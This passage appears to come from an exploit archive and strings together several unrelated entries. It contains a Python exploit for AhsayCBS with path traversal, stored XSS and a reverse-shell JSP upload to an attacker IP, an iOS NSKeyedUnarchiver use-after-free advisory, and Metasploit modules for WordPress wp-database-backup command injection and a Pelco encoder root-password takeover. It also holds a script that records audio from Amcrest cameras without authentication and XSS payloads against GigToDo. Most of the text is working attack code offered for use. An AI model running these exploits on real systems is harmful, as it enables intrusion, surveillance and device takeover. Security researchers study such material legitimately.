                # http = urllib3.ProxyManager("https://localhost:8080")
                r = self.http.request('GET', '{}'.format(callUrl))
                if r.status == 200:
                    print ("Done, Check your netcat listener!")
                return True
            else: 
                return False
        except Exception as e:
            print (e)
            return False

    def upload(self, filePath, fileContent ):
        """
        Needs a valid username and password.
        Needs a filepath + filename to upload to. 
        Needs the file content.
        """

        b64UploadPath = b64("{}".format(filePath))
        try:
            if not self.checkAccount(self.username, self.password):
                return False
            headers={
                'X-RSW-Request-0':	'{}'.format(b64(self.username)),
                'X-RSW-Request-1':	'{}'.format(b64(self.password)),
                'X-RSW-custom-encode-path': '{}'.format(b64UploadPath)
            }
            # http = urllib3.ProxyManager("https://localhost:8080")
            r = self.http.request(
                'PUT', 
                '{}/obs/obm7/file/upload'.format(self.url),
                body=fileContent,
                headers=headers)
            if (r.status == 201):
                print ("File {}".format(r.reason))
            else:
                print ("Something went wrong!")
                print (r.data)
                print (r.status)
        except Exception as e:
            print ("Something went wrong!")
            print (e)
            pass
    
    def checkAccount(self, username, password):
        try:
            headers={
                'X-RSW-custom-encode-password':	'{}'.format(b64(password)),
                'X-RSW-custom-encode-username':	'{}'.format(b64(username))
            }
            # http = urllib3.ProxyManager("https://localhost:8080")
            r = self.http.request('POST', '{}/obs/obm7/user/getUserProfile'.format(url),'',headers)
            if (r.data == b'CLIENT_TYPE_INCORRECT') or (r.status == 200):
                if self.accountValid is None:
                    print ("Account is valid with username: '{}' and password '{}'".format(username, password))
                self.accountValid = True
                return True
            elif (r.data == b'USER_NOT_EXIST'):
                if not self.accountValid is None:
                    print ("Username does not exist!")
                self.accountValid = False
                return False
            elif (r.data == b'PASSWORD_INCORRECT'):
                if self.accountValid is None:
                    print ("Password not correct but username '{}' is".format(username))
                self.accountValid = False
                return False
            else:
                if self.accountValid is None:
                    print ("Something went wrong!")
                self.accountValid = False
                return False
                # print (r.data)
                # print (r.status)
        except Exception as e:
            print (e)
            self.accountValid = False
            return False
            
    def checkTrialAccount(self):
        try:
            # http = urllib3.ProxyManager("https://localhost:8080")
            r = self.http.request('POST', '{}/obs/obm7/user/isTrialEnabled'.format(self.url),'','')
            if (r.status == 200 and r.data == b'ENABLED' ):
                print ("Server ({}) has Trial Account enabled, exploit should work!".format(self.url))
                return True
            else:
                print ("Server ({}) has Trial Account disabled, please use a valid account!".format(self.url))
                return False
        except Exception as e:
            print ("Something went wrong with url {} !".format(self.url))
            print (e)
            return False

    def addTrialAccount(self,alias=""):
        try:
            if not self.checkTrialAccount():
                return False
            
            headers={
                'X-RSW-custom-encode-alias':	'{}'.format(b64(alias)), 
                'X-RSW-custom-encode-password':	'{}'.format(b64(self.password)),
                'X-RSW-custom-encode-username':	'{}'.format(b64(self.username))
            }
            # http = urllib3.ProxyManager("https://localhost:8080")
            r = self.http.request('POST', '{}/obs/obm7/user/addTrialUser'.format(url),'',headers)
            if (r.status == 200):
                print ("Account '{}' created with password '{}'".format(username, password))
            elif (r.data == b'LOGIN_NAME_IS_USED'):
                print ("Username is in use!")
            elif (r.data == b'PWD_COMPLEXITY_FAILURE'):
                print ("Password not complex enough")
            else:
                print ("Something went wrong!")
                print (r.data)
                print (r.status)
        except Exception as e:
            print (e)
            pass


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        __file__,
        description="Exploit for AhsayCBS v6.x < v8.1.1..50",
        usage="""
    Check if Trial account is enabled: %(prog)s --host https://172.16.238.213/ -c
    Create Trial account: %(prog)s --host https://172.16.238.213/ -a -u test01 -p 'Welcome01!'
    Create Trial account with stored XSS: %(prog)s --host https://172.16.238.213/ -a -u test01 -p 'Welcome01!' -x --xssvalue "'><script>alert(1)</script>"
    Delete file: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action delete --path ../../../../../../../../test.txt
    List files in dir: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action list --path ../../../../../../../../
    Upload a file: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action upload --localfile test.txt --path ../../../../../../../../ --filename test.txt
    Upload reverse shell: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! -e --ip 172.16.238.1 --port 4444
        """
        
    )
    manda = parser.add_argument_group("Mandatory options")
    manda.add_argument("--host",
        help="Url of AhsayCBS server",
        # required=True
    )
    check = parser.add_argument_group("Check options")
    check.add_argument("-c", "--check",
        help="Check if host is vulnerable",
        action="store_true"
    )
    
    add = parser.add_argument_group("Add account options")
    add.add_argument("-a","--add",
        help="Add trial account",
        action="store_true"
    )
    add.add_argument("-u","--username",
        help="username to create"
    )
    add.add_argument("-p","--password",
        help="Password to create"
    )

    exploit = parser.add_argument_group("Exploit options")
    exploit.add_argument("-e", "--exploit",
        help="Run reverse shell exploit",
        action="store_true"
    )
    exploit.add_argument("--ip",
        help="Set the attackers IP",
        default="127.0.0.1"
    )
    exploit.add_argument("--port",
        help="Set the attackers port",
        default="4444"
    )

    #Optional
    xss = parser.add_argument_group("XSS")
    xss.add_argument("-x","--xss",
        help="Use XSS in alias field.",
        action="store_true",
        default=False
    )
    xss.add_argument("--xssvalue",
        help="Custom XSS value (must start with '>)",
        default="'><script>alert(1)</script>",
        required=False
    )
    

    # list files
    fileaction = parser.add_argument_group("File actions", "We can control the files on the server with 4 actions: list content of directory, download file (read), write file (upload) and delete file." )

    fileaction.add_argument("--action",
        help="use: delete, upload, download or list",
        default="list"
    )
    fileaction.add_argument("--localfile",
        help="Upload a local file"
    )
    fileaction.add_argument("--filename",
        help="Filename on the server"
    )
    fileaction.add_argument("--path",
        help="Directory on server use ../../../",
        default="/"
    )

    fileaction.add_argument("--recursive",
        help="Recurse actions list and delete",
        action="store_true",
        default=False
    )

    try:
        args = parser.parse_args()
        if args.add and (args.username is None or args.password is None):
            parser.error("The option --add / -a requires: --username and --password")
        if args.exploit and (args.username is None or args.password is None or args.ip is None or args.port is None):
            parser.error("The option -e / --exploit requires: --username, --password, --ip and --port")
        # if not (args.host or args.r7):
        if not (args.host):
            parser.error("The option --host requires: -a, -c, -e or -f")
        else:
            
            url = args.host
            url = url.rstrip('/')
            username = args.username
            password = args.password
            e = Exploit(url,username,password) #Include proxy option inside brackets if required -> "http://localhost:8080"
            if args.check:
                e.checkTrialAccount()
            elif args.add:
                if args.xss and (args.xssvalue is None):
                    parser.error("The option -x / --xss requires: --xssvalue")
                if args.xssvalue:
                    alias = args.xssvalue
                e.addTrialAccount(alias)
            elif args.exploit:
                print ("Exploiting please start a netcat listener on {}:{}".format(args.ip,args.port))
                input("Press Enter to continue...")
                e.exploit(args.ip, args.port,"../../webapps/cbs/help/en/","SystemSettings_License_Redirector_AHSAY.jsp")
            elif args.action != "upload":
                e.fileActions(args.path,args.action,args.recursive)
            elif args.action == "upload":
                if args.localfile is not None:
                    f = open(args.localfile, "r")
                    fileContent = f.read()
                    e.upload("{}{}".format(args.path,args.filename),fileContent)
                else:
                    parser.error("The option --upload must contain path to local file")
            
    except Exception as e:
        print (e)
        pass
            
When deserializing NSObjects with the NSArchiver API [1], one can supply a whitelist of classes that are allowed to be unarchived. In that case, any object in the archive whose class is not whitelisted will not be deserialized. Doing so will also cause the NSKeyedUnarchiver to "requireSecureCoding", ensuring that the archived classes conform to the NSSecureCoding protocol before deserializing them. With that, deserialization of untrusted archives is expected to now be possible in a secure manner. However, a child class of a class in the whitelist will also be deserialized by NSKeyedUnarchiver if one of the following is true (see -[NSCoder _validateAllowedClass:forKey:allowingInvocations:] in Foundation.framework for the exact logic):

    * It implements initWithCoder: and supportsSecureCoding, and calling the supportsSecureCoding method returns true
    * It doesn't implement initWithCoder and the first superclass that implements initWithCoder: also implements supportsSecureCoding which returns true

In the latter case, deserializing such an object will invoke initWithCoder: of the superclass, which may then end up invoking methods of the child class. One such example is OITSUIntDictionary from the OfficeImport framework. This class inherits from NSDictionary, whose initWithCoder: will be called during unarchiving. Then the following happens:

    * initWithCoder invokes initWithCapacity: with the number of key-value pairs in the archive. This ends up calling -[OITSUIntDictionary initWithCapacity:] which sets the backing storage for the dict to the result of `CFDictionaryCreateMutable(0LL, v3, 0LL, 0LL)`. Note that neither key- nor value callbacks are provided (arguments #3 and #4). As such, elements stored in the dictionary will not be retained. Presumably, this is because the dictionary is only supposed to store integers which are not reference counted
    * Next, initWithCoder invokes setObject:forKey for each key-value pair of the archive. This will now store the keys and values in the OITSUIntDictionary *without* retaining them, thus their refcount will still be 1 and they are only kept alive by the NSKeyedUnarchiver instance
    * Unarchiving finishes, the NSKeyedUnarchiver is destroyed and it releases all its references to the deserialized objects. These objects are then freed and the deserialized OITSUIntDictionary now contains stale pointers.

Accessing the elements of the deserialized dictionary then leads to use-after-free issues.

The OfficeImport library appears to be loaded by the QuickLook.framework on demand (in _getOfficeImportLibrary()), and QuickLook is loaded into the Springboard process. As such, there might be scenarios in which OfficeImport is loaded in Springboard, making this bug remotely triggerable via iMessage without any user interaction. In any case, any process that has the OfficeImport library loaded and deserializes untrusted NSDictionaries is vulnerable even if secureCoding is enforced during unarchiving.

These type of bugs can be found somewhat automatically: the attached IDAPython script, when run in IDA Pro with the iOS dyld_shared_cache loaded, will enumerate all system libraries and determine classes that inherit from one of the whitelisted classes. It then writes a list of all candidates (classes that are allowed to be deserialized by NSKeyedUnarchiver with the whitelists present in iMessage parsing) to disk. Afterwards, these classes can be unarchived by first archiving a valid parent class (e.g. NSDictionary) and replacing the name of the parent class with the name of the child class in the serialized archive, then deserializing the archive again and invoking a few common methods on the resulting object, e.g. "count" or "objectForKey:". With that, the program will potentially crash when deserializing buggy child classes (as is the case for PFArray and OITSUIntDictionary).
The attached archiveDict.m program can generate a valid NSDictionary archive, which can then be converted to xml format for easier editing with `plutil -convert xml1 archive`. unarchiveDict.m can afterwards deserialize the archive again into an NSDictionary instance.
This approach, however, requires that all libraries loaded in the target process are also loaded in unarchiveDict, or else some of the classes won't be found and can thus not be deserialized.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47189.zip
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WP Database Backup RCE',
      'Description'    => %q(
        There exists a command injection vulnerability in the Wordpress plugin
        `wp-database-backup` for versions < 5.2.

        For the backup functionality, the plugin generates a `mysqldump` command
        to execute. The user can choose specific tables to exclude from the backup
        by setting the `wp_db_exclude_table` parameter in a POST request to the
        `wp-database-backup` page. The names of the excluded tables are included in
        the `mysqldump` command unsanitized. Arbitrary commands injected through the
        `wp_db_exclude_table` parameter are executed each time the functionality
        for creating a new database backup are run.

        Authentication is required to successfully exploit this vulnerability.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'Mikey Veenstra / Wordfence',  # Vulnerability Discovery
        'Shelby Pace'                  # Metasploit module
      ],
      'References'     =>
        [
          [ 'URL', 'https://www.wordfence.com/blog/2019/05/os-command-injection-vulnerability-patched-in-wp-database-backup-plugin/' ],
        ],
      'Platform'       => [ 'win', 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
        [
          [
            'Windows',
            {
              'Platform'        => 'win',
              'Arch'            => [ ARCH_X86, ARCH_X64 ]
            }
          ],
          [
            'Linux',
            {
              'Platform'        =>  'linux',
              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' =>  'printf'
            }
          ]
        ],
      'DisclosureDate' => '2019-04-24',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('USERNAME', [ true, 'Wordpress username', '' ]),
      OptString.new('PASSWORD', [ true, 'Wordpress password', '' ]),
      OptString.new('TARGETURI', [ true, 'Base path to Wordpress installation', '/' ])
    ])
  end

  def check
    return CheckCode::Unknown unless wordpress_and_online?

    changelog_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-database-backup', 'readme.txt')
    res = send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  changelog_uri
    )

    if res && res.code == 200
      version = res.body.match(/=+\s(\d+\.\d+)\.?\d*\s=/)
      return CheckCode::Detected unless version && version.length > 1

      vprint_status("Version of wp-database-backup detected: #{version[1]}")
      return CheckCode::Appears if Gem::Version.new(version[1]) < Gem::Version.new('5.2')
    end
    CheckCode::Safe
  end

  def exploit
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Unable to log into Wordpress') unless cookie

    res = create_exclude_table(cookie)
    nonce = get_nonce(res)
    create_backup(cookie, nonce)

    clear_exclude_table(cookie)
  end

  def create_exclude_table(cookie)
    @exclude_uri = normalize_uri(target_uri.path, 'wp-admin', 'tools.php')
    res = send_request_cgi(
      'method'    =>  'GET',
      'uri'       =>  @exclude_uri,
      'cookie'    =>  cookie,
      'vars_get'  =>  { 'page'  =>  'wp-database-backup' }
    )

    fail_with(Failure::NotFound, 'Unable to reach the wp-database-backup settings page') unless res && res.code == 200
    print_good('Reached the wp-database-backup settings page')
    if datastore['TARGET'] == 1
      comm_payload = generate_cmdstager(concat_operator: ' && ', temp: './')
      comm_payload = comm_payload.join('&&')
      comm_payload = comm_payload.gsub('\'', '')
      comm_payload = "; #{comm_payload} ;"
    else
      comm_payload = " & #{cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true, encode_final_payload: true)} & ::"
    end

    table_res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  @exclude_uri,
      'cookie'    =>  cookie,
      'vars_post' =>
      {
        'wpsetting'                       =>  'Save',
        'wp_db_exclude_table[wp_comment]' =>  comm_payload
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to submit payload as an excluded table') unless table_res && table_res.code
    print_good('Successfully added payload as an excluded table')

    res.get_html_document
  end

  def get_nonce(response)
    fail_with(Failure::UnexpectedReply, 'Failed to get a proper response') unless response

    div_res = response.at('p[@class="submit"]')
    fail_with(Failure::NotFound, 'Failed to find the element containing the nonce') unless div_res

    wpnonce = div_res.to_s.match(/_wpnonce=([0-9a-z]*)/)
    fail_with(Failure::NotFound, 'Failed to retrieve the wpnonce') unless wpnonce && wpnonce.length > 1

    wpnonce[1]
  end

  def create_backup(cookie, nonce)
    first_res = send_request_cgi(
      'method'    =>  'GET',
      'uri'       =>  @exclude_uri,
      'cookie'    =>  cookie,
      'vars_get'  =>
      {
        'page'      =>  'wp-database-backup',
        '_wpnonce'  =>  nonce,
        'action'    =>  'createdbbackup'
      }
    )

    res = send_request_cgi(
      'method'    =>  'GET',
      'uri'       =>  @exclude_uri,
      'cookie'    =>  cookie,
      'vars_get'  =>
      {
        'page'          =>  'wp-database-backup',
        'notification'  =>  'create'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to create database backup') unless res && res.code == 200 && res.body.include?('Database Backup Created Successfully')
    print_good('Successfully created a backup of the database')
  end

  def clear_exclude_table(cookie)
    res = send_request_cgi(
      'method'    =>  'POST',
      'uri'       =>  @exclude_uri,
      'cookie'    =>  cookie,
      'vars_post' =>
      {
        'wpsetting'                       =>  'Save',
        'wp_db_exclude_table[wp_comment]' =>  'wp_comment'
      }
    )

   fail_with(Failure::UnexpectedReply, 'Failed to delete the remove the payload from the excluded tables') unless res && res.code == 200
   print_good('Successfully deleted the payload from the excluded tables list')
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Schneider Electric Pelco Endura NET55XX Encoder",
      'Description'    => %q(
        This module exploits inadequate access controls within the webUI to enable
        the SSH service and change the root password. This module has been tested successfully
        on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Lucas Dinucci <idntk.lucdin@gmail.com>',
          'Vitor Esperança <vitor@machiaveliclabs.com>'
        ],
      'References'     =>
        [
          ['CVE', '2019-6814'],
          ['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']
        ],
      'Payload'        =>
        {
          'Compat' => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'     => [ [ "Universal", {} ] ],
      'Privileged'     => true,
      'DisclosureDate' => "Jan 25 2019",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),
        OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])
      ]
    )

    register_advanced_options(
      [
        OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def new_password
    datastore['NEW_PASSWORD']
  end

  def check
    xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\
                 '<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\
                 '<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\
                 '<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\
                 '<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\
                 '<a:ReplyTo>'\
                 '<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\
                 '</a:ReplyTo>'\
                 '<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\
                 '</Header>'\
                 '<Body>'\
                 '<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\
                 '<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\
                 '</Probe>'\
                 '</Body>'\
                 '</Envelope><?xml version="1.0" encoding="UTF-8"?>'

    connect_udp(true, {'RPORT' => datastore['UDP_PORT']})
    udp_sock.put(xmlPayload)
    resp = []
    resp << udp_sock.get(datastore['TIMEOUT'])
    xmlResponse = resp.join(',')
    disconnect_udp
    if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508")
      return Exploit::CheckCode::Appears
    end
     CheckCode::Safe
  end

  def change_password
    print_status("#{peer} - Attempt to change the root password...")
    post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json

    login = send_request_cgi({
      'method' => 'POST',
      'uri' =>  normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),
      'data' => post,
      'headers' =>
      {
        'Cookie'        => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',
        'Content-Type'  => 'application/json;charset=utf-8'
      }
    }, timeout=datastore['TIMEOUT'])

    fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200
    print_good("#{rhost}:80 - Successfully changed the root password...")
    print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")
  end

  def do_login
    change_password
    print_status("#{rhost}:22 - Attempt to start a SSH connection...")
    factory = ssh_socket_factory
    opts = {
      :auth_methods    => ['password', 'keyboard-interactive'],
      :port            => 22,
      :use_agent       => false,
      :config          => true,
      :password        => new_password,
      :proxy           => factory,
      :non_interactive => true,
      :verify_host_key => :never
    }
    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)
      end
    rescue Rex::ConnectionError
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:22 SSH - Disconnected during negotiation"
    rescue ::Timeout::Error
      print_error "#{rhost}:22 SSH - Timed out during negotiation"
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:22 SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
    end
    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      return conn
    end
  end

  def exploit
    conn = do_login
    if conn
      print_good("#{rhost}:22 - Session established ")
      handler(conn.lsock)
    end
  end
end
            
##
# Exploit Title: Unauthenticated Audio Streaming from Amcrest Camera
# Shodan Dork: html:"@WebVersion@"
# Date: 08/29/2019
# Exploit Author: Jacob Baines
# Vendor Homepage: https://amcrest.com/
# Software Link: https://amcrest.com/firmwaredownloads
# Affected Version: V2.520.AC00.18.R
# Fixed Version: V2.420.AC00.18.R
# Tested on: Tested on Amcrest IP2M-841 but known to affect other Dahua devices.
# CVE : CVE-2019-3948
# Disclosure: https://www.tenable.com/security/research/tra-2019-36
# Disclosure: https://sup-files.s3.us-east-2.amazonaws.com/Firmware/IP2M-841/JS+IP2M-841/Changelog/841_721_HX1_changelog_20190729.txt
#
# To decode the scripts output using ffplay use:
# 	ffplay -f alaw -ar 8k -ac 1 [poc output]
# Note that this assumes the camera is using the default encoding options.
##
import argparse
import socket
import struct
import sys

##
# Read in the specified amount of data. Continuing looping until we get it all...
# what could go wrong?
#
# @return the data we read in
##
def recv_all(sock, amount):
	data = ''
	while len(data) != amount:
		temp_data = sock.recv(amount - len(data))
		data = data + temp_data

	return data

top_parser = argparse.ArgumentParser(description='Download audio from the HTTP videotalk endpoint')
top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")
top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="80")
top_parser.add_argument('-o', '--output', action="store", dest="output", help="The file to write the audio to")
top_parser.add_argument('-b', '--bytes', action="store", dest="bytes", type=int, help="The amount of audio to download", default="1048576")
args = top_parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setblocking(True)

print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
sock.connect((args.ip, args.port))
print "[+] Connected!"

request = ('GET /videotalk HTTP/1.1\r\n' +
	       'Host: ' + args.ip + ':' + str(args.port) + '\r\n' +
	       'Range: bytes=0-\r\n' +
	       '\r\n')
sock.sendall(request)

status = ''
header = ''

# read in the HTTP response. Store the status.
while (header != '\r\n'):
	header = header + sock.recv(1);
	if (header.find('\r\n') > 0):
		header = header.strip()
		if (len(status) == 0):
			status = header
		header = ''

if (status.find('200 OK') == -1):
	print '[-] Bad HTTP status. We received: "' + status + '"'
	sock.close()
	exit()
else:
	print '[+] Downloading ' + str(args.bytes) + ' bytes of audio ...'

total_audio = ''
while (len(total_audio) < args.bytes):

	# read in the header length
	header_length = recv_all(sock, 4)
	hlength = struct.unpack("I", header_length)[0]
	if (hlength != 36):
		print '[-] Unexpected header length'
		sock.close()
		exit()

	# read in the header and extract the payload length
	header = recv_all(sock, hlength)
	plength = struct.unpack_from(">H", header)[0]
	if (plength != 368):
		print '[-] Unexpected payload length'
		sock.close()
		exit()

	# there is a seq no in the header but since this is over
	# tcp is sort of useless.

	dhav = header[2:6]
	if (dhav != "DHAV"):
		print '[-] Invalid header'
		exit(0)

	# extract the audio. I'm really not sure what the first 6 bytes are
	# but the last 8 serve as a type of trailer
	whatami = recv_all(sock, 6)
	audio = recv_all(sock, plength - hlength - 12)
	trailer = recv_all(sock, 8)

	if (trailer != 'dhavp\x01\x00\x00'):
		print '[-] Invalid end of frame'
		sock.close()
		exit()

	total_audio = total_audio + audio
	sys.stdout.write('\r'+ str(len(total_audio)) + " / " + str(args.bytes))
	sys.stdout.flush()

print ''
print '[+] Finished receiving audio.'
print '[+] Closing socket'

out_file = open(args.output, 'wb')
out_file.write(total_audio)
out_file.close()

sock.close()
            
# Exploit Title: GigToDo - Freelance Marketplace Script v1.3 Persistent XSS Injection
# Google Dork: -
# Date: 2019/07/28
# Author: m0ze
# Vendor Homepage: https://www.gigtodoscript.com
# Software Link: https://codecanyon.net/item/gigtodo-freelance-marketplace-script/23855397
# Version: <= 1.3
# Tested on: NginX/1.15.10
# CVE: -
# CWE: CWE-79


Details & Description:
The «GigToDo - Freelance Marketplace Script» web-application is vulnerable
to reflected and persistent XSS injections that allows an attacker to
inject JavaScript/HTML code into the front-end, redirect visitor to another
website or steal admin cookies.


PoC [Persistent XSS Injection]:
Register a new account, log in and go to the
https://www.site.com/proposals/create_proposal page. Vulnerable text area
is «Proposal's Description», so paste your payload inside, fill in other
fields and save the data TWICE or your payload WILL NOT WORK. So literally
paste your payload inside the «Proposal's Description» text area and scroll
down to «Update Proposal» button, press it and your data will be saved.
After that u'll be redirected to
https://www.site.com/proposals/view_proposals.php page. Select your created
proposal and press green square dropdown menu on the right («Actions»
column) and click on «Edit» link. After that just don't change anything,
scroll down to «Update Proposal» button, press it and your data will be
saved ONE MORE TIME. That's it, now your payload will work.
Example #1: <h1
onmouseover=';alert(`m0ze`);'>m0ze</h1>1"--><svg/onload=';alert(`Script is
fully protected from SQL Injection and XSS ©`);'><img src='x'
onerror=';alert(`For sure lol`);'>
Example #2: <h1 onmouseover=';alert(`Greetz from
m0ze`);'>m0ze</h1>1"--><svg/onload=';window.location.replace(`
https://twitter.com/m0ze_ru`);'>